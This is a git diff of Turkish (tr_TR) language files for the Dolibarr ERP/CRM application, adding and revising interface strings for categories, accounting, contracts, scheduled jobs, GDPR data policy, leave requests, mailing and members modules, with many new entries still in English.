+RemoveCategory=Remove category NotCategorized=Etiketsiz/kategorisiz CategoryExistsAtSameLevel=Bu kategori zaten bu ilgi ile var ContentsVisibleByAllShort=Içerik herkes tarafından görülebilir @@ -67,6 +68,7 @@ StockCategoriesShort=Depo etiketleri / kategorileri ThisCategoryHasNoItems=Bu kategori herhangi bir öğe içermiyor. CategId=Etiket/kategori kimliği ParentCategory=Parent tag/category +ParentCategoryID=ID of parent tag/category ParentCategoryLabel=Label of parent tag/category CatSupList=List of vendors tags/categories CatCusList=List of customers/prospects tags/categories @@ -86,15 +88,18 @@ DeleteFromCat=Etiketlerden/kategorilerden kaldır ExtraFieldsCategories=Tamamlayıcı öznitelikler CategoriesSetup=Etiket/kategori ayarları CategorieRecursiv=Otomatik ana etiketli/kategorili bağlantı -CategorieRecursivHelp=Bu seçenek aktifse, alt bir kategoriye ürün eklediğinizde bu ürün aynı zamanda üst kategoriye de eklenecektir. +CategorieRecursivHelp=If option is on, when you add an object into a subcategory, the object will also be added into the parent categories. AddProductServiceIntoCategory=Aşağıdaki ürünü/hizmeti ekle AddCustomerIntoCategory=Assign category to customer AddSupplierIntoCategory=Assign category to supplier +AssignCategoryTo=Assign category to ShowCategory=Etiketi/kategoriyi göster ByDefaultInList=B listede varsayılana göre ChooseCategory=Kategori seç StocksCategoriesArea=Warehouse Categories +TicketsCategoriesArea=Tickets Categories ActionCommCategoriesArea=Event Categories WebsitePagesCategoriesArea=Page-Container Categories KnowledgemanagementsCategoriesArea=KM article Categories UseOrOperatorForCategories=Use 'OR' operator for categories +AddObjectIntoCategory=Add object into category diff --git a/htdocs/langs/tr_TR/commercial.lang b/htdocs/langs/tr_TR/commercial.lang index f2d43076cde..1c60a05379b 100644 --- a/htdocs/langs/tr_TR/commercial.lang +++ b/htdocs/langs/tr_TR/commercial.lang @@ -64,17 +64,26 @@ ActionAC_SHIP=Sevkiyatı e-posta ile gönder ActionAC_SUP_ORD=Tedarikçi siparişini e-posta ile gönder ActionAC_SUP_INV=Tedarikçi faturasını e-posta ile gönder ActionAC_OTH=Diğer -ActionAC_OTH_AUTO=Otomatik olarak eklenen etkinlikler +ActionAC_OTH_AUTO=Other auto ActionAC_MANUAL=Elle eklenen etkinlikler ActionAC_AUTO=Otomatik olarak eklenen etkinlikler -ActionAC_OTH_AUTOShort=Oto +ActionAC_OTH_AUTOShort=Diğer +ActionAC_EVENTORGANIZATION=Event organization events Stats=Satış istatistikleri StatusProsp=Aday durumu DraftPropals=Taslak teklifler NoLimit=Sınır yok ToOfferALinkForOnlineSignature=Online imza için link -WelcomeOnOnlineSignaturePage=%s'dan ticari teklifleri kabul etme sayfasına hoş geldiniz. -ThisScreenAllowsYouToSignDocFrom=Bu ekran, bir teklifi kabul etmenize ve imzalamanıza veya reddetmenize olanak sağlar. -ThisIsInformationOnDocumentToSign=Bu, kabul veya reddedilecek belge hakkında bilgidir +WelcomeOnOnlineSignaturePageProposal=%s'dan ticari teklifleri kabul etme sayfasına hoş geldiniz. +WelcomeOnOnlineSignaturePageContract=Welcome to %s Contract PDF Signing Page +WelcomeOnOnlineSignaturePageFichinter=Welcome to %s Intervention PDF Signing Page +ThisScreenAllowsYouToSignDocFromProposal=Bu ekran, bir teklifi kabul etmenize ve imzalamanıza veya reddetmenize olanak sağlar. +ThisScreenAllowsYouToSignDocFromContract=This screen allow you to sign contract on PDF format online. +ThisScreenAllowsYouToSignDocFromFichinter=This screen allow you to sign intervention on PDF format online. +ThisIsInformationOnDocumentToSignProposal=Bu, kabul veya reddedilecek belge hakkında bilgidir +ThisIsInformationOnDocumentToSignContract=This is information on contract to sign +ThisIsInformationOnDocumentToSignFichinter=This is information on intervention to sign SignatureProposalRef=Ticari teklifin imzası %s +SignatureContractRef=Signature of contract %s +SignatureFichinterRef=Signature of intervention %s FeatureOnlineSignDisabled=Çevrimiçi imzalama özelliği devre dışı bırakıldı veya belge bu özellik etkinleştirilmeden önce oluşturuldu diff --git a/htdocs/langs/tr_TR/compta.lang b/htdocs/langs/tr_TR/compta.lang index 0baa8dba090..371af92f81e 100644 --- a/htdocs/langs/tr_TR/compta.lang +++ b/htdocs/langs/tr_TR/compta.lang @@ -29,6 +29,8 @@ BalanceBefore=Bakiye (önce) Balance=Bakiye Debit=Borç Credit=Alacak +AccountingDebit=Borç +AccountingCredit=Alacak Piece=Muhasebe Belg. AmountHTVATRealReceived=Net alınan AmountHTVATRealPaid=Net ödenen @@ -244,12 +246,12 @@ TurnoverPerProductInCommitmentAccountingNotRelevant=Ürün başına toplanan Cir TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=Satış vergisi oranı başına toplanan Ciro raporu mevcut değildir. Bu rapor yalnızca faturalandırılan ciro için kullanılabilir. CalculationMode=Hesaplama modu AccountancyJournal=Muhasebe kodu günlüğü -ACCOUNTING_VAT_SOLD_ACCOUNT=Accounting account by default for VAT on sales (used if not defined on VAT dictionary setup) -ACCOUNTING_VAT_BUY_ACCOUNT=Accounting account by default for VAT on purchases (used if not defined on VAT dictionary setup) -ACCOUNTING_VAT_PAY_ACCOUNT=Accounting account by default for paying VAT -ACCOUNTING_ACCOUNT_CUSTOMER=Müşteri üçüncü partileri için kullanılan muhasebe hesabı +ACCOUNTING_VAT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on sales (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on purchases (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_PAY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for paying VAT +ACCOUNTING_ACCOUNT_CUSTOMER=Account (from the Chart Of Account) used for "customer" third parties ACCOUNTING_ACCOUNT_CUSTOMER_Desc=The dedicated accounting account defined on third party card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated customer accounting account on third party is not defined. -ACCOUNTING_ACCOUNT_SUPPLIER=Tedarikçi üçüncü partileri için kullanılan muhasebe hesabı +ACCOUNTING_ACCOUNT_SUPPLIER=Account (from the Chart of Account) used for the "vendor" third parties ACCOUNTING_ACCOUNT_SUPPLIER_Desc=The dedicated accounting account defined on third party card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated vendor accounting account on third party is not defined. ConfirmCloneTax=Sosyal/mali vergi kopyasının oluşturulmasını onayla ConfirmCloneVAT=KDV beyannamesinin klonlanmasını onaylayın @@ -300,3 +302,4 @@ InvoiceToPay15Days=To pay (15 to 30 days) InvoiceToPay30Days=To pay (> 30 days) ConfirmPreselectAccount=Preselect accountancy code ConfirmPreselectAccountQuestion=Are you sure you want to preselect the %s selected lines with this accountancy code ? +AmountPaidMustMatchAmountOfDownPayment=Amount paid must match amount of down payment diff --git a/htdocs/langs/tr_TR/contracts.lang b/htdocs/langs/tr_TR/contracts.lang index 3ea4e9a2141..848f0c13d7a 100644 --- a/htdocs/langs/tr_TR/contracts.lang +++ b/htdocs/langs/tr_TR/contracts.lang @@ -20,6 +20,7 @@ ContractsSubscriptions=Sözleşmeler/Üyelikler ContractsAndLine=Sözleşmeler ve satırları Contract=Sözleşme ContractLine=Sözleşme satırı +ContractLines=Contract lines Closing=Kapatma NoContracts=Sözleşme yok MenuServices=Hizmetler @@ -79,7 +80,7 @@ ConfirmDeleteContractLine=Bu sözleşme satırını silmek istediğinizden emin MoveToAnotherContract=Hizmeti başka bir sözleşmeye taşıyın. ConfirmMoveToAnotherContract=Yeni hedefi seçtim ve bu hizmetin bu sözleşmeye taşınmasını onaylıyorum. ConfirmMoveToAnotherContractQuestion=Bu hizmeti hangi varolan sözleşmeye (aynı üçüncü partinin) taşımak istediğinizi seçin? -PaymentRenewContractId=Sözleşme satırını yenile (sayı %s) +PaymentRenewContractId=Renew contract %s (service %s) ExpiredSince=Süre bitiş tarihi NoExpiredServices=Süresi dolmamış etkin hizmetler ListOfServicesToExpireWithDuration=%s günde süresi dolacak Hizmetler Listesi @@ -102,3 +103,5 @@ TypeContact_contrat_external_SALESREPSIGN=Sözleşmeyi imzalayacak müşteri ilg HideClosedServiceByDefault=Hide closed services by default ShowClosedServices=Show Closed Services HideClosedServices=Hide Closed Services +UserStartingService=User starting service +UserClosingService=User closing service diff --git a/htdocs/langs/tr_TR/cron.lang b/htdocs/langs/tr_TR/cron.lang index 2a1a962c1d7..84b612cc1c6 100644 --- a/htdocs/langs/tr_TR/cron.lang +++ b/htdocs/langs/tr_TR/cron.lang @@ -26,7 +26,7 @@ CronCommand=Komut CronList=Planlı İşler CronDelete=Planlı işleri sil CronConfirmDelete=Bu zamanlanmış işleri silmek istediğinizden emin misiniz? -CronExecute=Planlı işi başlat +CronExecute=Launch now CronConfirmExecute=Bu zamanlanmış işleri şimdi yürütmek istediğinizden emin misiniz? CronInfo=Zamanlanmış iş modülü, işlerin otomatik olarak yürütülmesi için planlanmasına izin verir. İşler manuel olarak da başlatılabilir. CronTask=İş @@ -58,7 +58,7 @@ CronNote=Yorum CronFieldMandatory=%s alanı zorunludur CronErrEndDateStartDt=Bitiş tarihi başlama tarihinden önce olamaz StatusAtInstall=Status at module installation -CronStatusActiveBtn=Schedule +CronStatusActiveBtn=Enable scheduling CronStatusInactiveBtn=Engelle CronTaskInactive=This job is disabled (not scheduled) CronId=Kimlik @@ -82,10 +82,19 @@ UseMenuModuleToolsToAddCronJobs=Go into menu "Home - Admin tools - JobDisabled=İş engellendi MakeLocalDatabaseDumpShort=Yerel veritabanı yedeklemesi MakeLocalDatabaseDump=Create a local database dump. Parameters are: compression ('gz' or 'bz' or 'none'), backup type ('mysql', 'pgsql', 'auto'), 1, 'auto' or filename to build, number of backup files to keep +MakeSendLocalDatabaseDumpShort=Send local database backup +MakeSendLocalDatabaseDump=Send local database backup by email. Parameters are: to, from, subject, message, filename (Name of file sent), filter ('sql' for backup of database only) +BackupIsTooLargeSend=Sorry, last backup file is too large to be send by email +CleanUnfinishedCronjobShort=Clean unfinished cronjob +CleanUnfinishedCronjob=Clean cronjob stuck in processing when the process is no longer running WarningCronDelayed=Dikkat: Performans amaçlı olarak etkinleştirilmiş işlerin bir sonraki yürütme tarihi ne olursa olsun, işleriniz çalıştırılmadan önce maksimum %s saat ertelenebilir. DATAPOLICYJob=Data cleaner and anonymizer JobXMustBeEnabled=Job %s must be enabled +EmailIfError=Email for warning on error +ErrorInBatch=Error when running the job %s + # Cron Boxes LastExecutedScheduledJob=Last executed scheduled job NextScheduledJobExecute=Next scheduled job to execute NumberScheduledJobError=Number of scheduled jobs in error +NumberScheduledJobNeverFinished=Number of scheduled jobs never finished diff --git a/htdocs/langs/tr_TR/datapolicy.lang b/htdocs/langs/tr_TR/datapolicy.lang new file mode 100644 index 00000000000..ac391018274 --- /dev/null +++ b/htdocs/langs/tr_TR/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Müşteri +DATAPOLICY_TIERS_PROSPECT = Aday +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Tedarikçi +DATAPOLICY_CONTACT_CLIENT = Müşteri +DATAPOLICY_CONTACT_PROSPECT = Aday +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Tedarikçi +DATAPOLICY_ADHERENT = Üye +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/tr_TR/ecm.lang b/htdocs/langs/tr_TR/ecm.lang index 3ce948bd80c..1df8a9a60f4 100644 --- a/htdocs/langs/tr_TR/ecm.lang +++ b/htdocs/langs/tr_TR/ecm.lang @@ -5,6 +5,7 @@ ECMSectionManual=Manuel dizin ECMSectionAuto=Otomatik dizin ECMSectionsManual=Manuel ağaç ECMSectionsAuto=Otomatik ağaç +ECMSectionsMedias=Medias tree ECMSections=Dizinler ECMRoot=ECM Root ECMNewSection=Yeni dizin @@ -16,7 +17,9 @@ ECMNbOfFilesInSubDir=Alt dizilerdeki dosya sayısı ECMCreationUser=Oluşturan ECMArea=DMS/ECM alanı ECMAreaDesc=DMS/ECM (Belge Yönetim Sistemi / Elektronik İçerik Yönetimi) alanı, Dolibarr'daki her türlü belgenin hızlı bir şekilde kaydedilmesine, paylaşılmasına ve aranmasına imkan sağlar. -ECMAreaDesc2=* Otomatik dizinler, bir öğenin kartından belge eklenirken otomatikman doldurulur.
      * Manuel dizinler, belirli bir öğeye bağlı olmayan belgelerin saklanması için kullanılabilir. +ECMAreaDesc2a=* Manual directories can be used to save documents not linked to a particular element. +ECMAreaDesc2b=* Automatic directories are filled automatically when adding documents from the page of an element. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files from emailing or website module. ECMSectionWasRemoved=%sDizini silindi. ECMSectionWasCreated=%s dizini oluşturuldu. ECMSearchByKeywords=Anahtar kelimelere göre ara diff --git a/htdocs/langs/tr_TR/holiday.lang b/htdocs/langs/tr_TR/holiday.lang index 45bd42c217c..882497f67fc 100644 --- a/htdocs/langs/tr_TR/holiday.lang +++ b/htdocs/langs/tr_TR/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=IK -Holidays=İzinler +Holidays=Leaves +Holiday=İzinler CPTitreMenu=İzinler MenuReportMonth=Aylık özet MenuAddCP=Yeni izin isteği +MenuCollectiveAddCP=New collective leave request NotActiveModCP=Bu sayfayı görüntülemek için İzin modülünü etkinleştirmelisiniz. AddCP=Bir izin isteği yap DateDebCP=Başlama tarihi @@ -56,6 +58,7 @@ ConfirmDeleteCP=Bu izin isteğinin silinmesini onaylıyor musunuz? ErrorCantDeleteCP=Hata, bu izin isteğini silmek için yetkiniz yok. CantCreateCP=İzin isteği yapmak için yetkiniz yok. InvalidValidatorCP=You must choose the approver for your leave request. +InvalidValidator=The user chosen isn't an approver. NoDateDebut=Bir başlama tarihi seçmelisiniz. NoDateFin=Bir bitiş tarihi seçmelisiniz. ErrorDureeCP=İzin isteğiniz çalışma günü içermiyor. @@ -79,6 +82,8 @@ MotifCP=Neden UserCP=Kullanıcı ErrorAddEventToUserCP=Özel izin eklenirken hata oluştu. AddEventToUserOkCP=Özel izin eklenmesi tamamlanmıştır. +ErrorFieldRequiredUserOrGroup=The "group" field or the "user" field must be filled in +fusionGroupsUsers=The groups field and the user field will be merged MenuLogCP=Değişiklik kütüklerini incele LogCP=Log of all updates made to "Balance of Leave" ActionByCP=Updated by @@ -86,6 +91,13 @@ UserUpdateCP=Updated for PrevSoldeCP=Önceki Bakiye NewSoldeCP=Yeni Bakiye alreadyCPexist=Bu dönem için bir izin isteği zaten yapılmış. +UseralreadyCPexist=A leave request has already been done on this period for %s. +groups=Gruplar +users=Kullanıcılar +AutoSendMail=Automatic mailing +NewHolidayForGroup=New collective leave request +SendRequestCollectiveCP=Send collective leave request +AutoValidationOnCreate=Automatic validation FirstDayOfHoliday=Beginning day of leave request LastDayOfHoliday=Ending day of leave request BoxTitleLastLeaveRequests=Değiştirilen son %s izin isteği @@ -137,3 +149,10 @@ XIsAUsualNonWorkingDay=%s is usualy a NON working day BlockHolidayIfNegative=Block if balance negative LeaveRequestCreationBlockedBecauseBalanceIsNegative=The creation of this leave request is blocked because your balance is negative ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=Leave request %s must be draft, canceled or refused to be deleted +IncreaseHolidays=Increase holiday +HolidayRecordsIncreased= %s holiday records increased +HolidayRecordIncreased=Holiday record increased +ConfirmMassIncreaseHoliday=Bulk holiday increase +NumberDayAddMass=Number of day to add to the selection +ConfirmMassIncreaseHolidayQuestion=Are you sure you want to increase holiday of the %s selected record(s)? +HolidayQtyNotModified=Balance of remaining days for %s has not been changed diff --git a/htdocs/langs/tr_TR/loan.lang b/htdocs/langs/tr_TR/loan.lang index c23e85c4d93..f40efda0081 100644 --- a/htdocs/langs/tr_TR/loan.lang +++ b/htdocs/langs/tr_TR/loan.lang @@ -24,11 +24,11 @@ FinancialCommitment=Finansal taahhüt InterestAmount=Faiz CapitalRemain=Kalan sermaye TermPaidAllreadyPaid = This term is allready paid -CantUseScheduleWithLoanStartedToPaid = Can't use scheduler for a loan with payment started +CantUseScheduleWithLoanStartedToPaid = Can't generate a timeline for a loan with a payment started CantModifyInterestIfScheduleIsUsed = You can't modify interest if you use schedule # Admin ConfigLoan=Kredi modülünün yapılandırılması -LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Varsayılan muhasebe hesabı sermayesi -LOAN_ACCOUNTING_ACCOUNT_INTEREST=Varsayılan muhasebe hesabı faiz oranı -LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Varsayılan muhasebe hesabı sigortası +LOAN_ACCOUNTING_ACCOUNT_CAPITAL=Account (from the Chart Of Account) to be used by default for capital (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INTEREST=Account (from the Chart Of Account) to be used by default for interest (Loan module) +LOAN_ACCOUNTING_ACCOUNT_INSURANCE=Account (from the Chart Of Account) to be used by default for insurance (Loan module) CreateCalcSchedule=Finansal taahhüdü düzenle diff --git a/htdocs/langs/tr_TR/mailmanspip.lang b/htdocs/langs/tr_TR/mailmanspip.lang index 7399371d015..060e7b2805c 100644 --- a/htdocs/langs/tr_TR/mailmanspip.lang +++ b/htdocs/langs/tr_TR/mailmanspip.lang @@ -7,7 +7,7 @@ MailmanCreationSuccess=Abonelik denemesi başarıyla gerçekleştirildi MailmanDeletionSuccess=Abonelik iptali denemesi başarıyla gerçekleştirildi SynchroMailManEnabled=Bir Mailman güncellemesi gerçekleştirilecektir SynchroSpipEnabled=Bir Spip güncellemesi gerçekleştirilecektir -DescADHERENT_MAILMAN_ADMINPW=Mailman yönetici parolası +DescADHERENT_MAILMAN_ADMIN_PASSWORD=Mailman yönetici parolası DescADHERENT_MAILMAN_URL=Mailman abonelikleri için URL DescADHERENT_MAILMAN_UNSUB_URL=Mailman abonelik iptali için URL DescADHERENT_MAILMAN_LISTS=Yeni üyelerin otomatik kayıt listesi(leri) (virgülle ayrılmış) diff --git a/htdocs/langs/tr_TR/mails.lang b/htdocs/langs/tr_TR/mails.lang index 19f1d3c9d1b..80ccbdbf58c 100644 --- a/htdocs/langs/tr_TR/mails.lang +++ b/htdocs/langs/tr_TR/mails.lang @@ -10,7 +10,7 @@ MailTitle=Açıklama MailFrom=Gönderen MailErrorsTo=Hatalar MailReply=Yanıtla -MailTo=Alıcı(lar) +MailTo=Kime MailToUsers=To user(s) MailCC=Kopyala MailToCCUsers=Copy to users(s) @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=Pozisyona göre kişiler MailingModuleDescEmailsFromFile=Dosyadan e-postalar MailingModuleDescEmailsFromUser=Kullanıcı tarafından girilen e-postalar MailingModuleDescDolibarrUsers=E-postaları olan kullanıcılar -MailingModuleDescThirdPartiesByCategories=Üçüncü taraflar (kategorilere göre) +MailingModuleDescThirdPartiesByCategories=Cariler SendingFromWebInterfaceIsNotAllowed=Sending from web interface is not allowed. EmailCollectorFilterDesc=All filters must match to have an email being collected @@ -178,3 +178,5 @@ IsAnAnswer=Is an answer of an initial email RecordCreatedByEmailCollector=Record created by the Email Collector %s from email %s DefaultBlacklistMailingStatus=Default value for field '%s' when creating a new contact DefaultStatusEmptyMandatory=Empty but mandatory +WarningLimitSendByDay=WARNING: The setup or contract of your instance limits your number of emails per day to %s. Trying to send more may result in having your instance slow down or suspended. Please contact your support if you need a higher quota. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/tr_TR/main.lang b/htdocs/langs/tr_TR/main.lang index b61e48a7b68..87d13df4e03 100644 --- a/htdocs/langs/tr_TR/main.lang +++ b/htdocs/langs/tr_TR/main.lang @@ -1,9 +1,15 @@ # Dolibarr language file - Source file is en_US - main DIRECTION=ltr +# Default for FONTFORPDF=helvetica # Note for Chinese: -# msungstdlight or cid0ct are for traditional Chinese (traditional does not render with Ubuntu pdf reader) -# stsongstdlight or cid0cs are for simplified Chinese +# msungstdlight or cid0ct are for traditional Chinese zh_TW (traditional does not render with Ubuntu pdf reader) +# stsongstdlight or cid0cs are for simplified Chinese zh_CN # To read Chinese pdf with Linux: sudo apt-get install poppler-data +# cid0jp is for Japanish +# cid0kr is for Korean +# DejaVuSans is for some Eastern languages, some Asian languages and some Arabic languages +# freemono is for ru_RU or uk_UA, uz_UZ +# freeserif is for Tamil FONTFORPDF=helvetica FONTSIZEFORPDF=10 SeparatorDecimal=, @@ -28,6 +34,7 @@ NoTemplateDefined=Bu e-posta türü için mevcut şablon yok AvailableVariables=Mevcut yedek değişkenler NoTranslation=Çeviri yok Translation=Çeviri +Translations=Translations CurrentTimeZone=PHP Saat Dilimi (sunucu) EmptySearchString=Enter non empty search criterias EnterADateCriteria=Enter a date criteria @@ -199,6 +206,7 @@ Valid=Geçerli Approve=Onayla Disapprove=Onaylama ReOpen=Yeniden aç +OpenVerb=Açık Upload=Yükle ToLink=Bağlantıla Select=Seç @@ -216,7 +224,7 @@ UserGroup=User group UserGroups=User groups NoUserGroupDefined=Tanımlı kullanıcı grubu yok Password=Parola -PasswordRetype=Parolanızı yeniden yazın +PasswordRetype=Repeat your password NoteSomeFeaturesAreDisabled=Bu demoda bir çok özelliğin/modülün engelli olduğuna dikkat edin. Name=Adı NameSlashCompany=İsim / Firma @@ -481,6 +489,7 @@ ActionsOnContact=Bu kişi/adres için etkinlikler ActionsOnContract=Bu sözleşme için etkinlikler ActionsOnMember=Bu üye hakkındaki etkinlikler ActionsOnProduct=Bu ürünle ilgili etkinlikler +ActionsOnAsset=Events for this fixed asset NActionsLate=%s son ToDo=Yapılacaklar Completed=Tamamlanmış @@ -921,6 +930,7 @@ DirectDownloadInternalLink=Private download link PrivateDownloadLinkDesc=You need to be logged and you need permissions to view or download the file Download=İndir DownloadDocument=Belgeyi indir +DownloadSignedDocument=Download signed document ActualizeCurrency=Para birimini güncelle Fiscalyear=Mali yıl ModuleBuilder=Modül ve Uygulama Oluşturucu @@ -1046,6 +1056,7 @@ SearchIntoContracts=Sözleşmeler SearchIntoCustomerShipments=Müşteri sevkiyatları SearchIntoExpenseReports=Gider raporları SearchIntoLeaves=İzin +SearchIntoKM=Knowledge base SearchIntoTickets=Destek Bildirimleri SearchIntoCustomerPayments=Customer payments SearchIntoVendorPayments=Tedarikçi ödemeleri @@ -1137,15 +1148,29 @@ EventReminder=Event Reminder UpdateForAllLines=Update for all lines OnHold=Beklemede Civility=Civility -AffectTag=Affect Tag +AffectTag=Assign Tag +AffectUser=Assign User +SetSupervisor=Set Supervisor CreateExternalUser=Create external user -ConfirmAffectTag=Bulk Tag Affect -ConfirmAffectTagQuestion=Are you sure you want to affect tags to the %s selected record(s)? +ConfirmAffectTag=Bulk Tag Assignement +ConfirmAffectUser=Bulk User Assignement +ProjectRole=Role assigned on each project +TasksRole=Role assigned on each task of each project +ConfirmSetSupervisor=Bulk Supervisor Set +ConfirmUpdatePrice=Choose a increase/decrease price rate +ConfirmAffectTagQuestion=Are you sure you want to assign tags to the %s selected record(s)? +ConfirmAffectUserQuestion=Are you sure you want to assign users to the %s selected record(s)? +ConfirmSetSupervisorQuestion=Are you sure you want to set supervisor to the %s selected record(s)? +ConfirmUpdatePriceQuestion=Are you sure you want to update the price of the %s selected record(s)? CategTypeNotFound=No tag type found for type of records +Rate=Oran +SupervisorNotFound=Supervisor not found CopiedToClipboard=Copied to clipboard InformationOnLinkToContract=This amount is only the total of all the lines of the contract. No notion of time is taken into consideration. ConfirmCancel=Are you sure you want to cancel EmailMsgID=Email MsgID +EmailDate=Email date +SetToStatus=Set to status %s SetToEnabled=Set to enabled SetToDisabled=Set to disabled ConfirmMassEnabling=mass enabling confirmation @@ -1174,9 +1199,14 @@ Terminated=Sonlandırılmış AddLineOnPosition=Add line on position (at the end if empty) ConfirmAllocateCommercial=Assign sales representative confirmation ConfirmAllocateCommercialQuestion=Are you sure you want to assign the %s selected record(s)? -CommercialsAffected=Sales representatives affected -CommercialAffected=Sales representative affected +CommercialsAffected=Sales representatives assigned +CommercialAffected=Sales representative assigned YourMessage=Your message YourMessageHasBeenReceived=Your message has been received. We will answer or contact you as soon as possible. UrlToCheck=Url to check Automation=Automation +CreatedByEmailCollector=Created by Email collector +CreatedByPublicPortal=Created from Public portal +UserAgent=User Agent +InternalUser=İç kullanıcı +ExternalUser=Dış kullanıcı diff --git a/htdocs/langs/tr_TR/members.lang b/htdocs/langs/tr_TR/members.lang index 43db2175ebb..41e0a542092 100644 --- a/htdocs/langs/tr_TR/members.lang +++ b/htdocs/langs/tr_TR/members.lang @@ -15,6 +15,7 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=Başka bir üye (adı: %s, ku ErrorUserPermissionAllowsToLinksToItselfOnly=Güvenlik nedeniyle, bir üyenin kendinizin dışında bir kullanıcıya bağlı olabilmesi için tüm kullanıcıları düzenleme iznine sahip olmanız gerekir. SetLinkToUser=Bir Dolibarr kullanıcısına bağlantı SetLinkToThirdParty=Bir Dolibarr üçüncü partisine bağlantı +MemberCountersArePublic=Counters of valid members are public MembersCards=Generation of cards for members MembersList=Üyelerin listesi MembersListToValid=Taslak üye listesi (doğrulanacak) @@ -34,7 +35,8 @@ DateSubscription=Date of membership DateEndSubscription=End date of membership EndSubscription=End of membership SubscriptionId=Contribution ID -WithoutSubscription=Without contribution +WithoutSubscription=Without membership +WaitingSubscription=Membership pending MemberId=Member Id MemberRef=Member Ref NewMember=Yeni üye @@ -72,6 +74,12 @@ MemberTypeCanNotBeDeleted=Üye türü silinemiyor NewSubscription=Yeni katkı payı NewSubscriptionDesc=Bu form aboneliğinizi derneğe yeni bir üye olarak kaydetmenize olanak verir. Abonelik yenilemek istiyorsanız (Zaten üyeyseniz), dernek yönetimine %s e-postası ile başvurun. Subscription=Contribution +AnyAmountWithAdvisedAmount=Any amount of your choice, recommended %s +AnyAmountWithoutAdvisedAmount=Any amount of your choice +CanEditAmountShort=Any amount +CanEditAmountShortForValues=recommended, any amount +MembershipDuration=Süre +GetMembershipButtonLabel=Join Subscriptions=Contributions SubscriptionLate=Son SubscriptionNotReceived=Contribution never received @@ -136,7 +144,7 @@ CardContent=Üye kartınızın içeriği # Text of email templates ThisIsContentOfYourMembershipRequestWasReceived=We want to let you know that your membership request was received.

      ThisIsContentOfYourMembershipWasValidated=We want to let you know that your membership was validated with the following information:

